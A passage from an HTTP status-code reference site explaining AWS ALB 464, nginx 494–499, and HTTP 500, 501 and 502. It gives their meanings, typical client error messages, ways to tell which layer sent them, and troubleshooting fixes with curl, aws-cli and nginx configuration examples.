Large](https://howhttpworks.com/status-codes/431) - [400 Bad Request](https://howhttpworks.com/status-codes/400) --- # 464 Incompatible Request Protocol (AWS ALB) > AWS ALB 464 means the incoming HTTP or gRPC request conflicts with the target group protocol version. Inspect ProtocolVersion and listener routing. Source: https://howhttpworks.com/status-codes/464 Last reviewed: 2026-10-05 > **TL;DR:** AWS ALB 464 means the incoming request protocol does not match the selected target group's protocol version. Inspect `ProtocolVersion` and the listener rule that selected the group; changing only the backend URL from HTTP to HTTPS does not resolve that mismatch. ## What it means 464 is a non-standard AWS Application Load Balancer code. "Incompatible Request Protocol" is a descriptive label, not an AWS-defined reason phrase. [AWS's troubleshooting entry](https://docs.aws.amazon.com/elasticloadbalancing/latest/application/load-balancer-troubleshooting.html#http-464-errors) identifies an incompatible request and target group protocol version. Use the [target group compatibility table](https://docs.aws.amazon.com/elasticloadbalancing/latest/application/load-balancer-target-groups.html#target-group-protocol-version) to check the actual combination. HTTP/1.1 requests cannot go to an HTTP/2 or gRPC group. gRPC requests cannot go to an HTTP/1.1 group. An ordinary HTTP/2 request to a gRPC group must be POST. HTTP/2 requests to an HTTP/1.1 group are supported, so do not assume both directions fail. ## Confirm the selected target group Search [access logs](https://docs.aws.amazon.com/elasticloadbalancing/latest/application/load-balancer-access-logs.html) for `elb_status_code = 464`. Inspect the request, `target_group_arn` and `matched_rule_priority`. `target_status_code` describes the target's response, or `-` if none was recorded; it is distinct from the ALB-generated status. Set `ALB_ARN` to your load balancer ARN and inspect its target groups: ```bash aws elbv2 describe-target-groups \ --load-balancer-arn "$ALB_ARN" \ --query 'TargetGroups[].{Name:TargetGroupName,ARN:TargetGroupArn,Protocol:Protocol,Version:ProtocolVersion}' ``` `Protocol` and `ProtocolVersion` are separate fields. Check the group ARN from the failing request rather than inspecting a similarly named group in another environment. ## Fix it Route ordinary HTTP endpoints to a compatible group, and route gRPC calls to a group whose targets support gRPC. If a path-based rule sends a web page to the gRPC group, correct that rule rather than turning the page request into POST. For an endpoint intended to use HTTP/2, confirm what protocol the caller actually negotiated. A client that reaches the ALB using HTTP/1.1 still conflicts with an HTTP/2 target group. Compare a working caller with the failing caller through the same listener and path. After the routing or client change, repeat the original request and verify that its log entry selects the expected group. Record both the incoming protocol and target group version in the incident notes; the word "HTTPS" alone does not describe either combination fully. ## Related - [400 Bad Request](https://howhttpworks.com/status-codes/400) - [505 HTTP Version Not Supported](https://howhttpworks.com/status-codes/505) --- # 497 HTTP Request Sent to HTTPS Port (nginx) > nginx 497 means plain HTTP hit an HTTPS port; clients see "400 The plain HTTP request was sent to HTTPS port". Fix with error_page 497. Also 494, 495, 496. Source: https://howhttpworks.com/status-codes/497 Last reviewed: 2026-10-04 > **TL;DR:** 497 is nginx's internal code for "a plain HTTP request arrived on a TLS port". The client sees `400 Bad Request` with the body "The plain HTTP request was sent to HTTPS port". Use `https://` or add `error_page 497 =301 https://$host:$server_port$request_uri;` to redirect. ## What it means When a `listen ... ssl` socket receives bytes that are not a TLS handshake, nginx has already parsed them as an HTTP request. If the connection has no TLS, the request is finalized with its internal `NGX_HTTP_TO_HTTPS` code, 497. The nginx source comment says the code exists to tell this case apart from an ordinary 4xx during error-page redirection. By default the response uses a 400 status line and this body (from `ngx_http_special_response.c`): ```text HTTP/1.1 400 Bad Request Server: nginx 400 The plain HTTP request was sent to HTTPS port

400 Bad Request

The plain HTTP request was sent to HTTPS port
``` Because the status is 400, you search the web for that sentence, not for 497. The nginx docs describe it as "a regular request has been sent to the HTTPS port". The error log, at `info` level, records `client sent plain HTTP request to HTTPS port`. ## Who sent it? An nginx whose listening socket has TLS enabled. The page is nginx's own (with its `Server: nginx` header), even when the request reached it through a proxy. A common trap: nginx A proxies to nginx B with `proxy_pass http://b:443;`. The 400 text then comes from B, and A passes it on. ## Fix it 1. **Use the right scheme.** `http://example.com:443/` produces this error; `https://example.com/` does not. Check bookmarks, hard-coded URLs, health checks and webhooks configured with `http://` and port 443. 2. **Fix the proxy hop.** If nginx proxies to a TLS backend: ```nginx location / { proxy_pass https://backend.internal:443; proxy_set_header Host $host; } ``` With `proxy_pass http://backend.internal:443;` the backend receives plaintext on its TLS port. In Kubernetes ingress-nginx, the matching annotation is `nginx.ingress.kubernetes.io/backend-protocol: "HTTPS"`. 3. **Redirect instead of failing.** If you deliberately serve HTTPS on a non-standard port and people type `http://`: ```nginx server { listen 8443 ssl; server_name example.com; error_page 497 =301 https://$host:$server_port$request_uri; } ``` The nginx docs note the redirect happens after the request is fully parsed, so `$request_uri`, `$uri` and `$args` are available. For ports 80 and 443 use a separate `listen 80` block that returns 301 and add [HSTS](https://howhttpworks.com/headers/strict-transport-security). 4. **Load balancers and health checks.** Make sure the backend protocol matches what the port speaks. A health check or backend configured for HTTP and pointed at an HTTPS port gets exactly this 400 response. 5. **Redirect loops.** If you add the 497 redirect and the browser reports too many redirects, a proxy in front is likely stripping TLS; see [ERR_TOO_MANY_REDIRECTS](https://howhttpworks.com/debug/err-too-many-redirects). ## Reproduce ```bash curl -i http://example.com:443/ ``` A plain-HTTP request to a TLS port returns the 400 page above. Compare with `curl -I https://example.com/` for the working case. ## 494, 495 and 496 The same block of nginx-internal codes (`NGX_HTTP_NGINX_CODES`, starting at 494) contains three siblings. Defaults send a 400 status to the client for each, with a distinct message in the body, and each can be matched by `error_page`: | Code | Body text nginx sends | When | | --- | --- | --- | | 494 | `Request Header Or Cookie Too Large` | A request header line or the header block exceeds `client_header_buffer_size` and `large_client_header_buffers` (default 4 buffers of 8k). Oversized cookies are the usual cause. | | 495 | `The SSL certificate error` | Client certificate verification failed with `ssl_verify_client` on or optional. | | 496 | `No required SSL certificate was sent` | `ssl_verify_client on` and the client presented no certificate. | For 494, nginx answers 400 where RFC 6585 would suggest [431](https://howhttpworks.com/status-codes/431). Fix it by shrinking cookies or raising `large_client_header_buffers 4 16k;`. For 495 and 496, a custom page can explain the problem to users: ```nginx error_page 495 496 /client-cert-error.html; ``` nginx documents 495, 496 and 497 in the ssl module; 494 appears in the source and in the large-header handling, not in that list. --- # 499 Client Closed Request (nginx) > nginx 499 means the client hung up before the response was sent. Why it spikes with slow upstreams, how proxy_ignore_client_abort works, and how to debug it. Source: https://howhttpworks.com/status-codes/499 Last reviewed: 2026-10-05 > **TL;DR:** 499 is nginx's log-only code for "the client closed the connection before I could answer." Nothing is sent over the wire; it shows up in `access.log` and is usually caused by clients timing out on a slow upstream, users navigating away, or a load balancer in front with a shorter timeout than nginx. ## What it means 499 is not in any RFC. nginx defines it internally as `NGX_HTTP_CLIENT_CLOSED_REQUEST` so the access log has something to record when a request ends because the client's TCP connection (or, on HTTP/2 and HTTP/3, the stream) went away mid-request. A browser, curl or SDK can never receive a 499 from nginx, because by definition the connection is gone. If you see 499 in a client, a different proxy or gateway produced it. A typical access log line, using the default `combined` format: ```text 203.0.113.7 - - [04/Oct/2026:10:15:32 +0000] "POST /api/reports/export HTTP/1.1" 499 0 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_0 like Mac OS X)" ``` Body bytes sent is `0`, which is the giveaway. The line only becomes useful once you add timing to the log format: ```nginx log_format timed '$remote_addr [$time_local] "$request" $status ' '$body_bytes_sent rt=$request_time urt=$upstream_response_time ' 'uct=$upstream_connect_time ua="$http_user_agent"'; access_log /var/log/nginx/access.log timed; ``` ```text 203.0.113.7 [04/Oct/2026:10:15:32 +0000] "POST /api/reports/export HTTP/1.1" 499 0 rt=30.001 urt=- uct=0.001 ua="okhttp/4.12.0" ``` `rt=30.001` with `urt=-` (the upstream had not finished) means the client waited exactly 30 seconds and left. A round number like that is almost always a client-side timeout constant. Find who owns it. nginx also notes the event in `error.log`, but only at `info` level, so you will not see it unless you run `error_log ... info;`: ```text 2026/10/04 10:15:32 [info] 1234#1234: *5678 client prematurely closed connection, client: 203.0.113.7, server: api.example.com, request: "POST /api/reports/export HTTP/1.1", upstream: "http://10.0.2.15:8080/api/reports/export" ``` ## Who closed the connection? The closer is the party directly in front of nginx, which is not always the end user. | Direction | What to check | |---|---| | Browser or mobile app | Round timeout values in `$request_time` (10, 15, 30, 60 seconds) match an HTTP client default. The user agent shows the SDK (`okhttp`, `axios`, `python-requests`). Users navigating away or hitting reload also produce 499s, with varied durations. | | Cloud load balancer in front of nginx | If the LB idle timeout (AWS ALB default: 60 s) is shorter than your nginx and app timeouts, the LB gives up on the target and closes the connection, so nginx logs 499 while the ALB returns [504](https://howhttpworks.com/status-codes/504) to the client. An ALB [460](https://howhttpworks.com/status-codes/460) is different: the ALB's own client hung up first. If every 499 comes from a private LB address, the closer is the LB. | | Health checkers and monitors | Probes with a 1-5 second timeout against a slow endpoint produce steady 499s. Filter on user agent (`ELB-HealthChecker`, `kube-probe`, `Pingdom`). | | HTTP/2 clients | A stream cancel (`RST_STREAM` with `CANCEL`), such as from `AbortController.abort()` or a navigated-away page, is logged as 499 the same way. | | CDN in front | CDNs have their own origin timeouts (see [524](https://howhttpworks.com/status-codes/524)); when they abandon the origin connection, nginx sees a closed client. | Mobile networks inflate the numbers: a client on a flaky connection that backgrounds the app sends a FIN or simply vanishes, and nginx records 499 once it notices. A small steady baseline of 499s on a consumer-facing API is normal. A sudden jump, or a cluster on a single endpoint, is the signal. ## Fix it 1. **Confirm the upstream is slow.** Group 499s by URI and compare `$upstream_response_time` for 200s on the same route. If p95 is near the clients' timeout, the fix is making the endpoint faster (indexes, caching, or moving the work to a queue and returning [202](https://howhttpworks.com/status-codes/202)). 2. **Align the timeout chain.** Each hop's timeout should be longer than the one behind it, so the layer closest to the work gives up first with a meaningful error: app < nginx `proxy_read_timeout` (default 60 s) < load balancer idle timeout < client timeout. When the client is shortest you get 499 and no useful error anywhere. 3. **Stop abandoned work from piling up.** Make sure the app notices a closed connection: in Node, listen for `req.on('close')` and cancel the database query; in Go, honour `r.Context().Done()`. Under gunicorn or PHP-FPM the worker generally keeps going, so rely on query timeouts. 4. **Make retries safe.** A client that times out and retries a `POST` while the first one is still running creates duplicates. Use an idempotency key. 5. **Only then consider `proxy_ignore_client_abort`.** ```nginx location /webhooks/ { proxy_pass http://app_backend; # Keep the upstream request running even if the sender disconnects. proxy_ignore_client_abort on; } ``` The default is `off`. When it is `on`, nginx does not close the upstream connection when the client leaves, so the backend completes the request. The directive exists for work that must finish regardless, such as webhook receivers whose sender has a short timeout. On slow endpoints it is counterproductive: abandoned requests keep consuming workers, clients retry, and load amplifies. The equivalents for other backends are `fastcgi_ignore_client_abort`, `uwsgi_ignore_client_abort` and `scgi_ignore_client_abort`. ## Kubernetes and ingress-nginx ingress-nginx logs 499 in its access log exactly as stock nginx does, in a format that includes upstream timings and a request ID. The usual cause is a mismatch between the cloud load balancer in front of the ingress and the ingress timeouts. Timeouts are set per Ingress through annotations: ```yaml metadata: annotations: nginx.ingress.kubernetes.io/proxy-read-timeout: "120" nginx.ingress.kubernetes.io/proxy-send-timeout: "120" ``` If a cloud LB with a 60 s idle timeout sits in front, raising the annotation to 120 changes nothing: the LB closes first and the ingress logs 499. ## Reproduce it ```bash # Client gives up after 2 seconds against a slow endpoint curl -m 2 -i https://api.example.com/slow # curl: (28) Operation timed out after 2001 milliseconds with 0 bytes received # nginx access log now has: "GET /slow HTTP/1.1" 499 0 rt=2.001 ``` ## Related - [504 Gateway Timeout](https://howhttpworks.com/status-codes/504): nginx gave up on the upstream, client still connected. - [502 Bad Gateway](https://howhttpworks.com/status-codes/502): the upstream answered badly or dropped the connection. - [408 Request Timeout](https://howhttpworks.com/status-codes/408): the server gave up waiting on a slow client. - [524 A Timeout Occurred](https://howhttpworks.com/status-codes/524): Cloudflare's equivalent when the origin is slow. - [444 Connection Closed Without Response](https://howhttpworks.com/status-codes/444): nginx closes the connection on purpose. --- # HTTP 500 Internal Server Error: Meaning and Fixes > 500 means the server hit an error it did not handle. Find which layer sent it, read the right log for nginx, Apache, WordPress, Django, Next.js or Express. Source: https://howhttpworks.com/status-codes/500 Last reviewed: 2026-10-05 > **TL;DR:** HTTP 500 Internal Server Error means the server failed while handling your request. Find the layer that returned it, then match the request ID and timestamp to its error log; the exception there tells you what to fix. ## What it means RFC 9110 section 15.6.1: the server encountered an unexpected condition that prevented it from fulfilling the request. A bad payload can expose a server bug too: 500 describes the failure, not whether the input was valid. Start with the server exception rather than guessing from the status. Server responses and client messages below are illustrative. ```http HTTP/1.1 500 Internal Server Error Content-Type: application/json {"error":"internal_error","requestId":"req-8f3a1c"} ``` ## What you see in your client These messages assume the response reason is `Internal Server Error`; a server can use different wording. - **Axios:** `AxiosError: Request failed with status code 500`. With the default `validateStatus`, Axios rejects this response. Inspect `error.response.status`, `error.response.headers` and `error.response.data` before changing the request. [Axios source](https://github.com/axios/axios/blob/v1.x/lib/core/settle.js). - **fetch:** the promise resolves with `response.status === 500` and `response.ok === false`. Check `ok` yourself; a `catch` block alone misses HTTP error responses. [Fetch behaviour](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API/Using_Fetch). - **Python requests:** `requests.exceptions.HTTPError: 500 Server Error: Internal Server Error for url: https://example.com/api`. This appears when you call `response.raise_for_status()`. Save the response body and headers before raising. [Requests source](https://github.com/psf/requests/blob/main/src/requests/models.py). - **curl -f:** `curl: (22) The requested URL returned error: 500`. Use `curl -sS -D - https://example.com/api` while diagnosing so you retain the error body. [curl source](https://github.com/curl/curl/blob/master/lib/http.c). - **.NET:** `System.Net.Http.HttpRequestException: Response status code does not indicate success: 500 (Internal Server Error).` This is the English message from `EnsureSuccessStatusCode()` with that reason phrase. Inspect `StatusCode` and read the body before calling it. [Runtime source](https://github.com/dotnet/runtime/blob/main/src/libraries/System.Net.Http/src/System/Net/Http/HttpResponseMessage.cs), [message resource](https://github.com/dotnet/runtime/blob/main/src/libraries/System.Net.Http/src/Resources/Strings.resx). - **Spring WebClient:** `org.springframework.web.reactive.function.client.WebClientResponseException$InternalServerError: 500 Internal Server Error from GET https://example.com/api`. `retrieve()` uses this subclass by default; read `getResponseBodyAsString()`. RestTemplate uses `HttpServerErrorException.InternalServerError` for this 5xx status. [WebClient source](https://github.com/spring-projects/spring-framework/blob/main/spring-webflux/src/main/java/org/springframework/web/reactive/function/client/WebClientResponseException.java), [RestTemplate handler](https://github.com/spring-projects/spring-framework/blob/main/spring-web/src/main/java/org/springframework/web/client/DefaultResponseErrorHandler.java). ## Who sent it? | Signal | Layer | | --- | --- | | Body is your app's JSON or framework error page | Application: stack trace in app logs | | `Server: Apache`, "The server encountered an internal error or misconfiguration" | Apache: `.htaccess` or CGI/handler failure | | `Server: nginx` with the default page "500 Internal Server Error" | nginx itself: check `error.log` for `rewrite or internal redirection cycle` | | `Server: cloudflare` and "Error 1101: Worker threw exception" | A Cloudflare Worker threw; see Workers logs | | `Server: cloudflare` with your origin's 500 body | Origin returned 500; Cloudflare passed it through | | Cloudflare page "Error 520" | Not a 500; origin response was empty or invalid, see [520](https://howhttpworks.com/status-codes/520) | If a CDN is involved, bypass it and hit the origin directly to see whether the 500 is yours: ```bash curl -sv https://example.com/api/orders -o /dev/null 2>&1 | grep -iE '^< (HTTP|server|cf-ray|via|x-request-id|x-amz)' curl -sv --resolve example.com:443:ORIGIN_IP https://example.com/api/orders -o /dev/null ``` Every response should carry a request ID header (`X-Request-ID`) that is also logged by the app, so you can find the exact log line. ## Fix it by stack Match the exception to the deployed application version and configuration before changing a setting. ## Common causes by stack ### Apache and .htaccess ```text [core:alert] [pid 1234] /var/www/html/.htaccess: Invalid command 'RewriteEngine', perhaps misspelled or defined by a module not included in the server configuration [cgi:error] Premature end of script headers: index.php ``` The first points to an unavailable directive: check that `mod_rewrite` is loaded (`a2enmod rewrite` on Debian/Ubuntu). With both `AllowOverride None` and `AllowOverrideList None`, Apache ignores `.htaccess` entirely; it does not report this syntax error. The second points to a CGI handler that ended without headers: read its stderr/PHP log. Run `apachectl configtest` for the main configuration, then reproduce the request to exercise `.htaccess`. Check ownership and access for the actual Apache user. [Apache configuration](https://httpd.apache.org/docs/2.4/mod/core.html#allowoverride). ### WordPress and PHP PHP fatal errors are hidden when `display_errors` is off, so enable logging instead of display: ```php // wp-config.php define('WP_DEBUG', true); define('WP_DEBUG_LOG', true); // writes wp-content/debug.log define('WP_DEBUG_DISPLAY', false); define('WP_MEMORY_LIMIT', '256M'); ``` Read `wp-content/debug.log` for the failing plugin, theme or PHP fatal. If it says `Allowed memory size of 134217728 bytes exhausted`, that number is the limit in that message, not a universal WordPress default. The `256M` above is a chosen troubleshooting value. Disable the identified plugin; check `.htaccess` when Apache logs a directive error. [WordPress debugging](https://developer.wordpress.org/advanced-administration/debug/debug-wordpress/). ### Node, Express and Next.js Express uses `err.status` or `err.statusCode` when it is a valid 4xx/5xx value, otherwise 500. Express 5 forwards rejected route promises to `next`; in Express 4, use `try/catch` and `next(err)`. Put the four-argument error handler after routes, and delegate if headers were already sent. [Express error handling](https://expressjs.com/en/guide/error-handling/). ```javascript // Global error handler: must have 4 parameters and come last app.use((err, req, res, next) => { if (res.headersSent) return next(err) req.log?.error({ err, path: req.path }) // full detail server-side only const candidate = err.status ?? err.statusCode const status = Number.isInteger(candidate) && candidate >= 400 && candidate < 600 ? candidate : 500 res.status(status).json({ error: status < 500 ? err.message : 'internal_error', requestId: req.id }) }) ``` Next.js hides Server Component error details in production. Use `error.digest` from the error boundary to match the server log entry; the digest is generated for that error. [Next.js error boundary](https://nextjs.org/docs/app/api-reference/file-conventions/error). ### Django, Rails, Spring - **Django/DRF:** an exception outside DRF's handled exceptions is re-raised and becomes Django's 500 response. With `DEBUG = False`, read the server traceback rather than the generic page; inspect database/migration errors there. [DRF exception handling](https://www.django-rest-framework.org/api-guide/exceptions/). - **Rails:** exceptions absent from `config.action_dispatch.rescue_responses` map to 500. Match the request ID in your production log and fix the exception, rather than mapping every exception to 200. [Rails exception mapping](https://guides.rubyonrails.org/configuring.html#config-action-dispatch-rescue-responses). - **Spring Boot:** the browser's Whitelabel Error Page comes from the default error handling. Read the application stack trace for the failing controller or dependency. [Spring Boot error handling](https://docs.spring.io/spring-boot/how-to/spring-mvc.html). - **FastAPI:** returning data that fails `response_model` validation produces a server error. Fix the returned fields/types; this is different from invalid request input. [Response validation](https://fastapi.tiangolo.com/tutorial/response-model/). - **ASP.NET Core:** an unhandled exception before response headers produces 500; after headers, the server closes the connection. Use `UseExceptionHandler` in production and find the exception in application logs. [ASP.NET Core error handling](https://learn.microsoft.com/en-us/aspnet/core/fundamentals/error-handling). - **Laravel:** an exception that is not an HTTP exception becomes a 500 in the default handler. Read the exception in the configured log channel; keep `APP_DEBUG=false` in production. [Laravel handler](https://github.com/laravel/framework/blob/12.x/src/Illuminate/Foundation/Exceptions/Handler.php), [production configuration](https://laravel.com/docs/12.x/deployment#debug-mode). - **API Gateway/Lambda:** a rejected Lambda invocation produces 500; a function error or invalid response produces 502 instead. Inspect invocation permissions and the gateway/Lambda logs. [AWS error mapping](https://docs.aws.amazon.com/lambda/latest/dg/services-apigateway-errors.html). - **nginx/Cloudflare:** `rewrite or internal redirection cycle` is nginx's 500 after its internal-redirect limit; fix the `rewrite`/`error_page` loop. Workers error 1101 means a JavaScript exception; inspect Workers logs. [nginx internal redirects](https://nginx.org/en/docs/http/ngx_http_core_module.html#internal), [Workers errors](https://developers.cloudflare.com/workers/observability/errors/). ### Resource exhaustion, whatever the stack A handled resource failure can become 500; a killed process can instead leave a proxy returning 502. Check the exception for `No space left on device`, a database pool timeout or `EMFILE`, and check Kubernetes pod state for `OOMKilled`. Check `df -h`, `free -m`, `dmesg | grep -i oom`, and the database connection count. ## A 500 on POST /login Reproduce the failing method and path, then search the server log by request ID. Trace user lookup, password verification and session creation in that order; stop at the first exception. Redact passwords, cookies and tokens from the log. If the traceback points to a database/schema error, verify the deployment's database connection and migration state. An Axios 500 here sends you to those server logs, not to Axios configuration. ## Build it better Return a short, stable body with a request ID, and never leak internals. RFC 9457 `application/problem+json` is the standard shape: ```http HTTP/1.1 500 Internal Server Error Content-Type: application/problem+json {"type":"about:blank","title":"Internal Server Error","status":500,"instance":"/req/8f3a1c"} ``` Alert on the 5xx rate, not on individual errors, and keep stack traces in your logging system (Sentry, OpenTelemetry), not in responses. ## Related codes - [502 Bad Gateway](https://howhttpworks.com/status-codes/502): a proxy got a bad response from the app behind it. - [503 Service Unavailable](https://howhttpworks.com/status-codes/503): the app cannot take the request right now. - [504 Gateway Timeout](https://howhttpworks.com/status-codes/504): a gateway timed out connecting or waiting for an upstream. - [520 Web Server Returned an Unknown Error](https://howhttpworks.com/status-codes/520): Cloudflare received an empty or invalid origin response, often a crashed app. - [debug: 500 Internal Server Error](https://howhttpworks.com/debug/500-internal-server-error): step-by-step triage. --- # 501 Not Implemented > The server doesn't support the functionality required to fulfill the request. Learn about unimplemented features. Source: https://howhttpworks.com/status-codes/501 Last reviewed: 2026-10-04 > **TL;DR:** Server doesn't support the requested functionality (like unsupported HTTP methods). Use a supported method or upgrade the server software. ## What is a 501 Error? A **501 Not Implemented** status code means the server doesn't recognize the request method or lacks the ability to fulfill the request. Think of it like asking a basic calculator to solve calculus—it understands that you're asking it to do math, but it simply doesn't have the capability to perform that specific operation. The server acknowledges the request but doesn't support the functionality required to complete it. ## When Does This Happen? You'll encounter a 501 error in these common situations: **1. Unsupported HTTP Methods** ```http You use: PATCH /api/users/123 Server: Only supports GET, POST, PUT, DELETE Result: 501 Not Implemented ``` **2. Missing Feature Implementation** ```http You request: GET /api/v2/advanced-search Server: v2 API not yet implemented Result: 501 Not Implemented ``` **3. Disabled Server Features** ```http You try: PUT /upload/large-file Server: File upload feature disabled Result: 501 Not Implemented ``` **4. Protocol Version Issues** ```http You use: HTTP/2 specific features Server: Only supports HTTP/1.1 Result: 501 Not Implemented ``` **5. Custom Method Not Supported** ```http You send: CUSTOM /api/special-action Server: Doesn't recognize CUSTOM method Result: 501 Not Implemented ``` ## Example Response When functionality isn't implemented, the server responds like this: ```http HTTP/1.1 501 Not Implemented Content-Type: application/json Allow: GET, POST, PUT, DELETE Content-Length: 156 { "error": "Not Implemented", "message": "The PATCH method is not supported for this resource", "supported_methods": ["GET", "POST", "PUT", "DELETE"], "documentation": "https://api.example.com/docs" } ``` Key parts of this response: - **501 Not Implemented** - The status code and reason - **Allow header** - Lists the methods that ARE supported - **Content-Type** - Format of the error response - **Body** - Details about what's not implemented and alternatives ## Real-World Examples **Example 1: Unsupported HTTP Method** ```http PATCH /api/users/123 HTTP/1.1 Host: api.example.com Content-Type: application/json { "name": "Updated Name" } ``` **Response:** ```http HTTP/1.1 501 Not Implemented Content-Type: application/json Allow: GET, POST, PUT, DELETE { "error": "Method not implemented", "message": "PATCH method is not supported", "supported_methods": ["GET", "POST", "PUT", "DELETE"], "alternative": { "method": "PUT", "description": "Use PUT to update the entire resource", "example": "PUT /api/users/123 with complete user object" } } ``` **Example 2: Feature Not Yet Implemented** ```http GET /api/v3/analytics/advanced HTTP/1.1 Host: api.example.com Authorization: Bearer token123 ``` **Response:** ```http HTTP/1.1 501 Not Implemented Content-Type: application/json { "error": "Feature not implemented", "message": "Advanced analytics API is not yet available", "status": "planned", "estimated_release": "Q2 2024", "alternatives": [ { "endpoint": "/api/v2/analytics/basic", "description": "Basic analytics are available" } ], "roadmap": "https://api.example.com/roadmap" } ``` ## How to Handle 501 Errors **As a Developer:** - Check the `Allow` header for supported methods - Look for alternative endpoints or methods - Update your code to use supported functionality - Consider implementing fallback behavior **As an API Consumer:** - Read the API documentation for supported features - Use alternative methods suggested in the response - Check for API version compatibility - Plan for feature availability in your application ## 501 vs Other Similar Codes | Code | Meaning | What's Different | | ------- | ----------------------------------------- | --------------------------------------------- | | **501** | Server doesn't support this functionality | Feature/method not implemented | | **405** | Method not allowed | Resource exists but method not allowed for it | | **404** | Not found | Resource/endpoint doesn't exist | | **500** | Internal server error | Server error while processing | | **503** | Service unavailable | Server temporarily can't handle requests | ## Common Implementation Scenarios **❌ Returning 404 for unimplemented features** ```javascript // Wrong - this hides that the endpoint exists app.patch('/api/users/:id', (req, res) => { res.status(404).json({ message: 'Not found' }) }) ``` **✅ Proper 501 for unimplemented methods** ```javascript // Correct - clearly indicates feature not implemented app.patch('/api/users/:id', (req, res) => { res.status(501).json({ error: 'Not implemented', message: 'PATCH method not yet supported', supported_methods: ['GET', 'POST', 'PUT', 'DELETE'], alternative: 'Use PUT to update the entire resource' }) }) ``` **❌ Generic error for missing features** ```javascript // Not helpful to developers app.get('/api/v2/advanced', (req, res) => { res.status(500).json({ message: 'Error' }) }) ``` **✅ Clear 501 with roadmap information** ```javascript // Helpful and informative app.get('/api/v2/advanced', (req, res) => { res.status(501).json({ error: 'Feature not implemented', message: 'Advanced API v2 is under development', status: 'in_progress', estimated_completion: '2024-Q2', current_alternative: '/api/v1/basic', subscribe_updates: '/api/notifications/subscribe' }) }) ``` ## Server Implementation Examples **Express.js method handling:** ```javascript // Handle unsupported methods gracefully app.use('/api/users/:id', (req, res, next) => { const supportedMethods = ['GET', 'POST', 'PUT', 'DELETE'] if (!supportedMethods.includes(req.method)) { return res .status(501) .set('Allow', supportedMethods.join(', ')) .json({ error: 'Method not implemented', message: `${req.method} method is not supported`, supported_methods: supportedMethods }) } next() }) ``` **Feature flag implementation:** ```javascript // Use feature flags for gradual rollouts app.get('/api/beta-feature', (req, res) => { if (!featureFlags.isBetaFeatureEnabled()) { return res.status(501).json({ error: 'Feature not available', message: 'Beta feature is not enabled for your account', status: 'beta', request_access: '/api/beta/request-access' }) } // Feature implementation... }) ``` ## When to Use 501 vs 405 **Use 501 Not Implemented when:** - The server doesn't support the HTTP method at all - A feature is planned but not yet built - Functionality is disabled server-wide - The server lacks the capability to fulfill the request **Use 405 Method Not Allowed when:** - The resource exists but doesn't support that specific method - The method is valid but not allowed for this particular resource - You want to indicate which methods ARE allowed ## API Versioning and 501 ```javascript // Handle API version compatibility app.use('/api/v3/*', (req, res, next) => { res.status(501).json({ error: 'API version not implemented', message: 'API v3 is not yet available', current_version: 'v2', migration_guide: '/docs/v2-to-v3-migration', v2_endpoint: req.url.replace('/v3', '/v2') }) }) ``` ## Try It Yourself Visit our [request builder](https://howhttpworks.com/tools/playground) and test unimplemented features: 1. Set method to **PATCH** 2. Set path to **/api/unsupported** 3. Send the request 4. Examine the 501 response with supported alternatives ## Try it with curl Send a method the server does not recognize. ```bash curl -i -X FOOBAR https://api.example.com/items ``` Example output (illustrative, not captured from a real server): ```http HTTP/1.1 501 Not Implemented Content-Type: text/plain ``` Many servers answer an unknown method with [405](https://howhttpworks.com/status-codes/405) or 400 instead, so 501 is not guaranteed. ## Related Status Codes - [405 Method Not Allowed](https://howhttpworks.com/status-codes/405) - Method not allowed for this resource - [404 Not Found](https://howhttpworks.com/status-codes/404) - Resource doesn't exist - [500 Internal Server Error](https://howhttpworks.com/status-codes/500) - Server processing error - [503 Service Unavailable](https://howhttpworks.com/status-codes/503) - Server temporarily unavailable --- # HTTP 502 Bad Gateway: nginx, ALB and Cloudflare Fixes > Fix 502 Bad Gateway: decode nginx error-log lines, php-fpm sockets, ALB keep-alive mismatches and Cloudflare 502 vs 52x, with curl checks. Source: https://howhttpworks.com/status-codes/502 Last reviewed: 2026-10-05 > **TL;DR:** HTTP 502 Bad Gateway means a proxy could not get a usable response from the server behind it. The error log of the proxy names the exact failure; match the line to the fix below, and check that the upstream process is running, on the expected port or socket, and not closing connections early. ## What it means RFC 9110 section 15.6.3: a gateway or proxy received an invalid response from an inbound server it accessed while attempting to fulfil the request. In practice that covers a refused connection, a connection reset, a crashed worker, a malformed response, or oversized response headers. If the proxy's upstream timeout expires, it can return [504](https://howhttpworks.com/status-codes/504) instead. Server responses and client messages below are illustrative. ```http HTTP/1.1 502 Bad Gateway Server: nginx Content-Type: text/html ``` ## What you see in your client These messages assume the response reason is `Bad Gateway`; a server can use different wording. - **Axios:** `AxiosError: Request failed with status code 502`. With the default `validateStatus`, Axios rejects this response. Inspect `error.response.status`, `error.response.headers` and `error.response.data` before changing the request. [Axios source](https://github.com/axios/axios/blob/v1.x/lib/core/settle.js). - **fetch:** the promise resolves with `response.status === 502` and `response.ok === false`. Check `ok` yourself; a `catch` block alone misses HTTP error responses. [Fetch behaviour](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API/Using_Fetch). - **Python requests:** `requests.exceptions.HTTPError: 502 Server Error: Bad Gateway for url: https://example.com/api`. This appears when you call `response.raise_for_status()`. Save the response body and headers before raising. [Requests source](https://github.com/psf/requests/blob/main/src/requests/models.py). - **curl -f:** `curl: (22) The requested URL returned error: 502`. Use `curl -sS -D - https://example.com/api` while diagnosing so you retain the error body. [curl source](https://github.com/curl/curl/blob/master/lib/http.c). - **.NET:** `System.Net.Http.HttpRequestException: Response status code does not indicate success: 502 (Bad Gateway).` This is the English message from `EnsureSuccessStatusCode()` with that reason phrase. Inspect `StatusCode` and read the body before calling it. [Runtime source](https://github.com/dotnet/runtime/blob/main/src/libraries/System.Net.Http/src/System/Net/Http/HttpResponseMessage.cs), [message resource](https://github.com/dotnet/runtime/blob/main/src/libraries/System.Net.Http/src/Resources/Strings.resx). - **Spring WebClient:** `org.springframework.web.reactive.function.client.WebClientResponseException$BadGateway: 502 Bad Gateway from GET https://example.com/api`. `retrieve()` uses this subclass by default; read `getResponseBodyAsString()`. RestTemplate uses `HttpServerErrorException.BadGateway` for this 5xx status. [WebClient source](https://github.com/spring-projects/spring-framework/blob/main/spring-webflux/src/main/java/org/springframework/web/reactive/function/client/WebClientResponseException.java), [RestTemplate handler](https://github.com/spring-projects/spring-framework/blob/main/spring-web/src/main/java/org/springframework/web/client/DefaultResponseErrorHandler.java). ## Who sent it? | Signal | Layer | | --- | --- | | `Server: nginx`, page "502 Bad Gateway" | nginx; read its `error.log` | | `Server: 